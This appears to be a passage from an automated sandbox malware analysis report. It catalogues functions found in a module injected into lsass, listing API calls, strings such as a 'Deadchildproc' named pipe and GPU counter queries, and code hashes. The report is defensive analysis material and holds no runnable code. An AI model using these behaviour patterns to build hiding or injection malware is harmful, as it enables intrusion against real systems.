Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: d31796d830b779bd35019739cbc6c4046c19c366aaa5f759b56b231691e58326
Instruction ID: baec013df6fc4971ffce898cd0bab83a3fc7025cc8603e9994d371d503a8ae48
Opcode Fuzzy Hash: d31796d830b779bd35019739cbc6c4046c19c366aaa5f759b56b231691e58326
Instruction Fuzzy Hash: 00512773205B84C6EB54CF62E48C39EB7A1F788F98F458226DB8907759DF39C0598B00

Function 00000202C0AB6D30 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000202C0AB6D58
__scrt_acquire_startup_lock.LIBCMT ref: 00000202C0AB6DAA
_RTC_Initialize.LIBCMT ref: 00000202C0AB6DD8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000202C0AB6DFE
__scrt_release_startup_lock.LIBCMT ref: 00000202C0AB6E29

Strings

bad array new length, xrefs: 00000202C0AB6E5B

Memory Dump Source

Source File: 0000000C.00000003.1777918856.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_3_202c0ab0000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: bad array new length
API String ID: 190073905-1242854226
Opcode ID: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction ID: 72a15d6eb1e62704baa27dbf34ca553b203cd5cd033cc7637bf2fc98f3c886de
Opcode Fuzzy Hash: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction Fuzzy Hash: 9C81AF31600B41C6FA60AB69A8CD3AD26D5AB45780F475527EB08477A7DB7DCA4E8700

Function 00000202C0AE2FA0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 00000202C0AE2FF5
GetProcessHeap.KERNEL32 ref: 00000202C0AE300A
HeapAlloc.KERNEL32 ref: 00000202C0AE3018
PdhGetCounterInfoW.PDH ref: 00000202C0AE302E
StrCmpW.SHLWAPI ref: 00000202C0AE3043

Part of subcall function 00000202C0AE3558: StrCmpNW.SHLWAPI ref: 00000202C0AE357A
Part of subcall function 00000202C0AE3558: StrStrW.SHLWAPI ref: 00000202C0AE3594
Part of subcall function 00000202C0AE3558: StrToIntW.SHLWAPI ref: 00000202C0AE35BB

GetProcessHeap.KERNEL32 ref: 00000202C0AE3080
HeapFree.KERNEL32 ref: 00000202C0AE308E

Strings

\GPU Engine(*)\Running Time, xrefs: 00000202C0AE303C

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 4320c3d255521c8809fbccc0c000ef70dc88065294953a5bba07585d713a8765
Instruction ID: dc2b6e7dce2111566ed5963f35cc85bffcebf545e0d294b35b69bb20662b1d05
Opcode Fuzzy Hash: 4320c3d255521c8809fbccc0c000ef70dc88065294953a5bba07585d713a8765
Instruction Fuzzy Hash: 9E31A723608B81D6FB10DF22A88C35DA3A0F798BD5F464627DF8943B26DF38C5598740

Function 00000202C0AE30B0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 00000202C0AE310E
GetProcessHeap.KERNEL32 ref: 00000202C0AE311F
HeapAlloc.KERNEL32 ref: 00000202C0AE312D
PdhGetCounterInfoW.PDH ref: 00000202C0AE3143
StrCmpW.SHLWAPI ref: 00000202C0AE3158

Part of subcall function 00000202C0AE3558: StrCmpNW.SHLWAPI ref: 00000202C0AE357A
Part of subcall function 00000202C0AE3558: StrStrW.SHLWAPI ref: 00000202C0AE3594
Part of subcall function 00000202C0AE3558: StrToIntW.SHLWAPI ref: 00000202C0AE35BB

GetProcessHeap.KERNEL32 ref: 00000202C0AE3185
HeapFree.KERNEL32 ref: 00000202C0AE3193

Strings

\GPU Engine(*)\Utilization Percentage, xrefs: 00000202C0AE3151

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: a2f2b6270209c0617fffbf8088b8af58c514d563d63196d61a77ac5b37470c57
Instruction ID: d73814f5febecb032752754b0a7a611fbdcb6e6f59b240e9049195530b892124
Opcode Fuzzy Hash: a2f2b6270209c0617fffbf8088b8af58c514d563d63196d61a77ac5b37470c57
Instruction Fuzzy Hash: 5F317163618B81D6FB50DF66A88C76E63A0F784F85F06422BDF9A43726DF38C4198700

Function 00000202C0AE2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 238
librarystringloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000202C0AE2CB8
GetProcAddress.KERNEL32 ref: 00000202C0AE2CCD
StrCmpNIW.SHLWAPI ref: 00000202C0AE2D10
lstrlenW.KERNEL32 ref: 00000202C0AE2E39

Strings

ntdll.dll, xrefs: 00000202C0AE2CB1
\Device\Nsi, xrefs: 00000202C0AE2D03
NtQueryObject, xrefs: 00000202C0AE2CC3

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: AddressHandleModuleProclstrlen
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 3607816002-3850299575
Opcode ID: 280e74d68912d67f2de1be9a053b4f09130ab35bfe7264d0fa8680fff1539601
Instruction ID: 1f7527f8dc7d92e78c3b64f47bf903be05fe56f062dfcd769cd478dd37487d5e
Opcode Fuzzy Hash: 280e74d68912d67f2de1be9a053b4f09130ab35bfe7264d0fa8680fff1539601
Instruction Fuzzy Hash: 4EA18832200BD0C2FB688B25D48C6AD67A5F784B94F164027DF9953B9ADB35CCA9C380

Function 00000202C0AE104C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000202C0AE10B1
RegEnumValueW.ADVAPI32 ref: 00000202C0AE1117
GetProcessHeap.KERNEL32 ref: 00000202C0AE115C
HeapAlloc.KERNEL32 ref: 00000202C0AE116A
GetProcessHeap.KERNEL32 ref: 00000202C0AE1187
HeapFree.KERNEL32 ref: 00000202C0AE1195

Strings

d, xrefs: 00000202C0AE10D6

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: cdead5c203d895dcd3ca28035d3c1357740cab67237a15052ecca15c34582b89
Instruction ID: 24bdfa1f3a3a6cbb920579a34c4224a1fa358229da05e14721e73508cdc3a0cc
Opcode Fuzzy Hash: cdead5c203d895dcd3ca28035d3c1357740cab67237a15052ecca15c34582b89
Instruction Fuzzy Hash: 8F414C33214BC0C6EB60CF62E48879E77A1F389B98F45821ADB8947B58DF39C559CB40

Function 00000202C0AE2344 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000202C0AE2359
GetCurrentProcessId.KERNEL32 ref: 00000202C0AE2363
CreateFileW.KERNEL32 ref: 00000202C0AE2394
WriteFile.KERNEL32 ref: 00000202C0AE23BC
ReadFile.KERNEL32 ref: 00000202C0AE23DB
CloseHandle.KERNEL32 ref: 00000202C0AE23E4

Strings

\\.\pipe\Deadchildproc, xrefs: 00000202C0AE2375

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\Deadchildproc
API String ID: 166002920-2259481039
Opcode ID: 1005d7d54db17bd1b4de57f7c8175984e9a9ac4fa96f888e605f87ef2211e3c7
Instruction ID: 947e85be21f9d62775cb4baf97d7fb24950026edc3eb04451a6acccd281c1e17
Opcode Fuzzy Hash: 1005d7d54db17bd1b4de57f7c8175984e9a9ac4fa96f888e605f87ef2211e3c7
Instruction Fuzzy Hash: 7E112632618B80C2F7108B21F48C75EA760F389BE4F514217EBAA06AA9CF3DC14DCB04

Function 00000202C0AE7930 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000202C0AE7958
__scrt_acquire_startup_lock.LIBCMT ref: 00000202C0AE79AA
_RTC_Initialize.LIBCMT ref: 00000202C0AE79D8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000202C0AE79FE
__scrt_release_startup_lock.LIBCMT ref: 00000202C0AE7A29

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction ID: d432669762527435b42ef1848043dcdde929fd9ecb5280a77596072b64fe3a5c
Opcode Fuzzy Hash: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction Fuzzy Hash: 318116226043C1C6FB54AB65A8CD35D2291AB85BC0F564127DBE987797DF39CB6E8300

Function 00000202C0AE9930 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(?,?,?,00000202C0AE9AEF,?,?,?,00000202C0AE98B4,?,?,?,?,00000202C0AE94A5), ref: 00000202C0AE99B5
GetLastError.KERNEL32(?,?,?,00000202C0AE9AEF,?,?,?,00000202C0AE98B4,?,?,?,?,00000202C0AE94A5), ref: 00000202C0AE99C3
LoadLibraryExW.KERNEL32(?,?,?,00000202C0AE9AEF,?,?,?,00000202C0AE98B4,?,?,?,?,00000202C0AE94A5), ref: 00000202C0AE99ED
FreeLibrary.KERNEL32(?,?,?,00000202C0AE9AEF,?,?,?,00000202C0AE98B4,?,?,?,?,00000202C0AE94A5), ref: 00000202C0AE9A33
GetProcAddress.KERNEL32(?,?,?,00000202C0AE9AEF,?,?,?,00000202C0AE98B4,?,?,?,?,00000202C0AE94A5), ref: 00000202C0AE9A3F

Strings

api-ms-, xrefs: 00000202C0AE99D5

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: af1dc5fe93b083055cd8c5ce044ece591eb4d9ced34ab9dbf74db6faff57ed03
Instruction ID: 5e283500570488e04c11cb878111f1f066800e919eaf2867852106ef62d998fd
Opcode Fuzzy Hash: af1dc5fe93b083055cd8c5ce044ece591eb4d9ced34ab9dbf74db6faff57ed03
Instruction Fuzzy Hash: E4318232312BD0D5FE259B42A88C79D6398BB48BA4F5B06279FBD07392DF38C4598344

Function 00000202C0AF1CBC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000202C0AF1CED
GetLastError.KERNEL32 ref: 00000202C0AF1CF9
CloseHandle.KERNEL32 ref: 00000202C0AF1D11
CreateFileW.KERNEL32 ref: 00000202C0AF1D3C
WriteConsoleW.KERNEL32 ref: 00000202C0AF1D5B

Strings

CONOUT$, xrefs: 00000202C0AF1D1D

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ef389f1408fdc57218b3d17a10d8552332256b0ab613155e2b85b84f861b2611
Instruction ID: 7184855c9ba3123739d4c1803593c33873a5b36bf7853ab8baaa2b632e61460b
Opcode Fuzzy Hash: ef389f1408fdc57218b3d17a10d8552332256b0ab613155e2b85b84f861b2611
Instruction Fuzzy Hash: 5C115B23214B40C6FB508B52E88C31D66A0F788FE4F054227EB5E87BA6CF7AC9088744

Function 00000202C0AE5F50 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5F8B
GetThreadContext.KERNEL32 ref: 00000202C0AE60F5

Part of subcall function 00000202C0AE5D80: GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5D84

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: d6438e14acddd0a34d7f097f3268bd65991f16ef90fc5aeffdae397213171ed3
Instruction ID: 19b96c905ce15dbbc11c4f9e85588ff0474626fa4001dbc68910037396f6a183
Opcode Fuzzy Hash: d6438e14acddd0a34d7f097f3268bd65991f16ef90fc5aeffdae397213171ed3
Instruction Fuzzy Hash: 06D19836208B88C6EA719B1AE49835E77A4F3C8B84F110617EBDD47BA6CF39C555CB00

Function 00000202C0AE31C0 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE31E3
HeapAlloc.KERNEL32 ref: 00000202C0AE31F6
StrCmpNIW.SHLWAPI ref: 00000202C0AE3277
GetProcessHeap.KERNEL32 ref: 00000202C0AE32DD
HeapFree.KERNEL32 ref: 00000202C0AE32EB

Strings

Dead, xrefs: 00000202C0AE3270

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: Dead
API String ID: 756756679-1293411866
Opcode ID: 16deceebbb86a4ee17dd3b940be503c67630b0e40e640d710b58a96d17f55941
Instruction ID: 49f91a8f98d666937e78668de082471fcace1b9a6d33b7a4ae6b4ef7563b3861
Opcode Fuzzy Hash: 16deceebbb86a4ee17dd3b940be503c67630b0e40e640d710b58a96d17f55941
Instruction Fuzzy Hash: A9319023709B91C2FB51DF56A48C3AD63A0FB64B80F4681279FD807B56EB38D4B98700

Function 00000202C0AE1934 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000202C0AE195A
K32GetModuleFileNameExW.KERNEL32 ref: 00000202C0AE1978
PathFindFileNameW.SHLWAPI ref: 00000202C0AE1987
lstrlenW.KERNEL32 ref: 00000202C0AE1993
StrCpyW.SHLWAPI ref: 00000202C0AE19A6
CloseHandle.KERNEL32 ref: 00000202C0AE19B4

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 16d258a9ac026dd37d62bcd9d6c3911ef3c0b7ca7915ee34a9afe05dd31b2e3e
Instruction ID: c17ddeaabe1f8f50f5cc960665fa38cc4ef3ef8d2e66d3e5323e524351bba4bc
Opcode Fuzzy Hash: 16d258a9ac026dd37d62bcd9d6c3911ef3c0b7ca7915ee34a9afe05dd31b2e3e
Instruction Fuzzy Hash: A3010522708B8086FB14DB12A89C75D62A1F788FC0F498537DF994375ADE39C98A8744

Function 00000202C0AE3B00 Relevance: 9.0, APIs: 6, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00000202C0AE36A8), ref: 00000202C0AE3B1C
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000202C0AE36A8), ref: 00000202C0AE3B2A
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000202C0AE36A8), ref: 00000202C0AE3B4C
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000202C0AE36A8), ref: 00000202C0AE3B6D
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000202C0AE36A8), ref: 00000202C0AE3B8E
TerminateThread.KERNEL32(?,?,?,?,?,00000202C0AE36A8), ref: 00000202C0AE3B9D

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 30c8d17d90bd3745ebdb1f35502c968551356a20b63a74c7033b0010c96071d1
Instruction ID: e2b0fc35fde1784bee44412e6aa0ab7fc65bca9c338fcce3b87b088b7d59a9e4
Opcode Fuzzy Hash: 30c8d17d90bd3745ebdb1f35502c968551356a20b63a74c7033b0010c96071d1
Instruction Fuzzy Hash: 59111727205B80D6FB249B21E88CB1E63A1AB48B45F060827DB9E46766EF3EC55C8700

Function 00000202C0AE330C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,?,00000202C0AE2585), ref: 00000202C0AE332E
StrCpyW.SHLWAPI ref: 00000202C0AE333E
StrCatW.SHLWAPI ref: 00000202C0AE334A
PathCombineW.SHLWAPI(?,?,?,00000202C0AE2585), ref: 00000202C0AE3358

Strings

\\.\pipe\, xrefs: 00000202C0AE3324

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 0fefe4693416a643ad9e70920ffc3e33abc3de2cb316a83794251c8f9330dfe7
Instruction ID: 524019c9c190f4085ef242774ac6f67ce51e0351dd4b4719c5f329e12e39d64b
Opcode Fuzzy Hash: 0fefe4693416a643ad9e70920ffc3e33abc3de2cb316a83794251c8f9330dfe7
Instruction Fuzzy Hash: 2CF0A763308B80D1FB109B13B98C15DA224EB58FD0F098133DF9A0BB2ACE3DC4998300

Function 00000202C0AEA258 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000202C0AEA274
GetProcAddress.KERNEL32 ref: 00000202C0AEA28A
FreeLibrary.KERNEL32 ref: 00000202C0AEA2A7

Strings

CorExitProcess, xrefs: 00000202C0AEA283
mscoree.dll, xrefs: 00000202C0AEA26B

Memory Dump Source

Source File: 0000000C.00000002.2992617374.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 0000000C.00000002.2992103625.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993271974.00000202C0AF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993645622.00000202C0AFD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2993920927.00000202C0AFF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.2994216547.00000202C0B05000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_202c0ae0000_lsass.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
